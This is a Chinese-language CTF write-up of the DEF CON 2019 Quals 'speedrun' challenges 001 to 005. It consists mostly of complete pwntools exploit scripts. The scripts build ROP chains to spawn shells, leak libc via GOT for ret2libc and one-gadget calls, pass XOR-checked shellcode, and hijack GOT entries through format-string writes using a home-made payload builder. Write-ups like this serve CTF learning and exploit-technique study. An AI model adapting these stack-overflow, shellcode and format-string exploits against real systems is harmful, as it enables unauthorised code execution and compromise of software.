Easy challenges in DCQ

start

ALL exp&binary

speedrun-001

挺简单的一题溢出但是很玄学的是本地打通了远端打不通…
但是我发现居然是概率打通..我脚本没改过有时候打得通有时候打不通..玄学问题.
比较简单的题目就直接放exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

from pwn import *
from struct import pack

puts=0x000000000410390
read=0x0000000004498A0
rax=0x0000000000415664
rdi=0x0000000000400686
bss=0x006b6000+0x3000
rsi=0x00000000004101f3
rdx=0x00000000004498b5
sys=0x0000000000474e65
setvbuf=0x000000000410590
push_rdi=0x00000000004236a5
push_rax_push_rsp=0x0000000000450ae3
rdx_rsi=0x000000000044be39
context.log_level='debug'
context.arch="amd64"
p=process('./speedrun-001')
#p=remote("52.53.247.202",31337)
#gdb.attach(p,'b * 0x000000000400B8B')

#p64(rdi)+p64(0x00000000006b9140)+p64(rsi)+p64(0)+p64(rdx)+p64(2)+p64(setvbuf)
payload='\x00'*0x408+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(8)+p64(bss)+p64(rax)+p64(0)+p64(sys)
payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(sys)



p.sendafter("words?\n",payload.ljust(0x7d0,'\x00'))

p.sendafter(" say: \n","/bin/sh\x00")
#p.sendline("cat flag")
p.interactive()

speedrun-002

  • bof
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *
    puts=0x0000000004005B0
    rdi=0x00000000004008a3
    got=0x000000000601028
    reuse=0x00000000040074C
    #context.log_level='debug'
    libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
    #p=process('./speedrun-002')
    pay1=p64(rdi)+p64(got)+p64(puts)+p64(reuse)
    p=remote("speedrun-002.quals2019.oooverflow.io",31337)
    p.sendafter("now?\n","Everything intelligent is so boring.")
    p.sendafter("me more.\n",'\x00'*0x408+pay1)
    p.readuntil("ing.\n")
    base=u64(p.readline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
    log.info(hex(base))
    #gdb.attach(p,'')
    #raw_input()
    p.sendafter("now?\n","Everything intelligent is so boring.")
    pay2=p64(base+0x4f322)
    p.sendafter("me more.\n",'\x00'*0x408+pay2)
    sleep(0.8)
    p.sendline("cat flag")
    p.interactive()
    #OOO{I_didn't know p1zzA places__mAde pwners.}

speedrun-003

  • shellcode
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from pwn import *
    def xor(s,l=0xf):
    res=0x0
    i=0
    for x in s:
    i+=1
    res^=ord(x)
    if i==l:
    return res


    context.log_level='debug'
    context.arch='amd64'
    #p=process('./speedrun-003')
    #gdb.attach(p,'b *0x000555555554997')
    p=remote("speedrun-003.quals2019.oooverflow.io",31337)
    sh='''
    xor rsi,rsi
    xor rdx,rdx
    mov al,0x68
    push rax
    mov rdi,0x732f2f2f6e69622f
    push rdi
    mov rdi,rsp
    mov al,0x3b
    syscall
    '''
    payload=asm(sh).ljust(0x1d,'\x01')
    fff=xor(payload)
    eee=xor(payload[0xf:],0xe)
    aaa=eee^fff
    payload+=chr(aaa)
    p.sendafter("drift\n",payload)
    sleep(0.8)
    p.sendline("cat /flag")
    p.interactive()

speedrun-004

  • bof
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    from pwn import *
    ret=0x0000000000400416
    rdi=0x0000000000400686
    rsi=0x0000000000410a93
    rdx=0x000000000044a155
    sys=0x0000000000474f15
    bss=0x006b6000+0x800
    rax=0x0000000000415f04
    read=0x00000000044A140
    #context.log_level='debug'
    context.arch='amd64'
    p=remote("speedrun-004.quals2019.oooverflow.io",31337)
    #p=process('./speedrun-004')
    #gdb.attach(p,'b *0x000000000400BD1')
    p.sendlineafter("?\n",str(0x101))

    pay=p64(ret)*15+p64(rdi)+p64(bss-0x800)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(rax)+p64(0xa)+p64(sys)
    pay+=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x40)+p64(read)+p64(bss)
    pay+="\x30"
    p.sendafter("?\n",pay)
    p.sendline(asm(shellcraft.sh()))
    p.interactive()

speedrun-005

这题的形式没见过讲一下…
题目本身是挺简单的的主要是存在fmtstr漏洞又没有开pie和只开了partial relro所以我们可以通过got hijacking来控制执行流.

主要的特点是发现远端的binary和本地的不同所以得先利用printfdump确定一些gadget的地址
于是我写了一些函数用来dump内存和确定指定gadget的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level='debug'
def cal(a,b):
if (a-b)>0:
return a-b
else:
return a-b+0x10000
def seek(seek,l=0):
while(1):
seek=seek+l
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
#gdb.attach(p)
pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
p.sendlineafter("? ",pay)
p.readuntil("ing ")
data=p.readline()
l=len(data)
if "\x5f\xc3" in data:
raw_input()
p.close()
def preciser(seek):
while(1):
seek=seek+1
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
#gdb.attach(p)
pay="%{}$s".format(38).ljust(0x100,'\x00')+p64(seek)
p.sendlineafter("? ",pay)
p.readuntil("ing ")
data=p.readline()
if not "\x5f\xc3" in data:
log.warning(hex(seek))
raw_input()
p.close()

在获得了确切地址之后就可以直接call onegadget但是…明明我把$rsp+0x70设置为0了但是却没有成功…于是我开始控制stack来控制执行流…

期间遇到两个坑:

xmm

libc-2.27编译的时候被优化在执行system('/bin/sh')期间有用到xmm寄存器主要可能出错的地方是

1
2
3
4
   0x7ffff7a332e6 <do_system+1078>:	movq   xmm0,QWORD PTR [rsp+0x8]
0x7ffff7a332ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0

此处因为xmm寄存器有128位要求rsp+0x40要按照字对齐所以我们在call_system的时候的栈地址要按照字对齐.

fmtstr

本题我的思路

  • 改的got@puts顺便泄漏
  • 改写stack上内容为rop做准备
  • 改写got@puts触发rop_chain
    发现工程量有点大….加上远端有个5秒左右的alarm.所以只能一次把所有值设置好了….题目给的缓冲区比较充裕.
    但是pwntools里自带的fmtstr_payload工具有些睿智….把地址放前面把自己给’\x00’截断了….
    于是自己写了个比较简陋的工具.
    shellcraft
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    from pwn import *
    def fmt(prev, word, index):
    if prev < word:
    result = word - prev
    fmtstr = "%" + str(result) + "c"
    elif prev == word:
    result = 0
    else:
    result = 256 + word - prev
    fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
    def cal(i):
    if i<0:
    return i+256
    return i
    def fmtstr(off,data,pre=0,space=0x180,arch='amd64',):
    if arch!='amd64':
    return False
    part2=""
    for key in data.keys():
    for offset in range(8):
    part2+=p64(key+offset)
    part1=""
    idx=0
    for value in data.values():
    for offset in range(8):
    if value==0 and pre==0:
    part1+="%"+str(off+idx+(space/8))+"$hhn"
    idx+=1
    else:
    #print hex(value&0xff),hex(pre),hex(cal((value&0xff)-pre))
    part1+="%"+str(cal((value&0xff)-pre))+"c%"+str(off+(space/8)+idx)+"$hhn"
    pre=value&0xff
    value=value>>8
    idx+=1
    return part1.ljust(space,"\x00")+part2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import fmtcraft
import time
from pwn import *
context.arch='amd64'
context.log_level='debug'
def cal(a,b):
if (a-b)>0:
return a-b
else:
return a-b+0x10000
def setvalue(address,value):
p1=value&0xffff
p2=(value&0xffff0000)>>16
p3=(value&0xffffffff00000000)>>32
pay="%{}c%{}$hn%{}c%{}$hn%{}c%{}$hn".format(p1,39,cal(p2,p1),40,cal(p3,p2),38).ljust(0x100,'\x00')+p64(address+4)+p64(address)+p64(address+2)
p.sendlineafter("? ",pay)


libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
exp=1
local=0
if local:
ret=0x0000000004007e4
rdi=0x0000000004007E3
got=0x000000000601018
reuse=0x69d
p=process('./speedrun-005')
else:
ret=0x0000000000400894
rdi=0x0000000000400893
got=0x000000000601020
reuse=0x72d
p=remote("speedrun-005.quals2019.oooverflow.io",31337)
if exp:
pay="%{}$n%{}c%{}$hn%{}c%{}$hn|%1$p|%2$p|".format(38,0x40,40,reuse-0x40,39).ljust(0x100,'\x00')+p64(got+4)+p64(got)+p64(got+2)
p.sendlineafter("? ",pay)
p.readuntil("|")
stack=int(p.readuntil("|")[:-1],16)
base=int(p.readuntil("|")[:-1],16)-(0x7ffff7dd18c0-0x7ffff79e4000)
log.info(hex(stack))
log.info(hex(base))
# set value
libc.address=base
aim=0x7fffffffdfa8-0x7fffffffb4f0+stack
address=aim
sh=libc.search('/bin/sh').next()
sys=libc.sym['system']
puts=libc.sym['puts']
data = {aim:rdi,aim+8:sh,aim+0x10:ret,aim+0x18:sys,got:puts}
pay=fmtcraft.fmtstr(6,data,space=0x200)
#gdb.attach(p)
p.sendlineafter("? ",pay)
p.interactive()

speedrun1-5

总体难度不大…但是如果比速度的话很考验功底了…比赛的时候同时在运维另一个比赛做题做的断断续续…好像现在dcq平台还不给登陆了…桑❤️